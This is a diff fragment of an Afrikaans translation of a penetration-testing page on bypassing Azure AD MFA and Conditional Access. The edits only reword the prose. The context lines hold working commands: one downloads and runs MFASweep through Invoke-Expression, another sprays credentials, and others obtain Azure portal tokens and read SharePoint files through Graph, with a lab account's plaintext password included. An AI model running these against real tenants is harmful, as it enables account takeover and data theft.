 Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
 Invoke-MFASweep -Username <username> -Password <pass>
 ```
 ### [ROPCI](https://github.com/wunderwuzzi23/ropci)
 
-Hierdie hulpmiddel het gehelp om MFA-omseilings te identifiseer en dan API's in verskeie produksie AAD-huurders te misbruik, waar AAD-klante geglo het dat hulle MFA afgedwing het, maar ROPC-gebaseerde outentisering suksesvol was.
+Hierdie hulpmiddel het gehelp om MFA-omseilings te identifiseer en dan API's in verskeie produksie AAD-huurders te misbruik, waar AAD-klante geglo het dat hulle MFA afgedwing het, maar ROPC-gebaseerde verifikasie suksesvol was.
 
 > [!TIP]
 > Jy moet toestemming hê om al die toepassings te lys om die lys van die toepassings te genereer om te brute-force.
@@ -143,13 +143,13 @@ Hierdie hulpmiddel het gehelp om MFA-omseilings te identifiseer en dan API's in
 ```
 ### [donkeytoken](https://github.com/silverhack/donkeytoken)
 
-Donkey token is 'n stel funksies wat daarop gemik is om sekuriteitskonsultante te help wat Conditional Access Policies moet valideer, toetse vir 2FA-geaktiveerde Microsoft-portale, ens.
+Donkey token is 'n stel funksies wat daarop gemik is om sekuriteitskonsultante te help wat die Validiteit van Voorwaardelike Toegang Beleide moet toets, toetse vir 2FA-geaktiveerde Microsoft-portale, ens.
 
 <pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
 </strong><strong>Import-Module '.\donkeytoken' -Force
 </strong></code></pre>
 
-**Toets elke portaal** of dit moontlik is om te **log in sonder MFA**:
+**Toets elke portaal** of dit moontlik is om **in te log sonder MFA**:
 ```bash
 $username = "conditional-access-app-user@azure.training.hacktricks.xyz"
 $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
@@ -161,7 +161,7 @@ Omdat die **Azure** **portaal** **nie beperk nie**, is dit moontlik om 'n **toke
 $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
 Read-JWTtoken -token $token.access_token
 ```
-As jy aanvaar dat die token die toestemming Sites.Read.All (van Sharepoint) het, selfs al kan jy nie Sharepoint vanaf die web toegang nie weens MFA, is dit moontlik om die token te gebruik om toegang tot die lêers te verkry met die gegenereerde token:
+As jy aanvaar dat die token die toestemming Sites.Read.All (van Sharepoint) het, selfs al kan jy nie Sharepoint vanaf die web toegang nie weens MFA, is dit moontlik om die token te gebruik om toegang tot die lêers met die gegenereerde token te verkry:
 ```bash
 $data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
 ```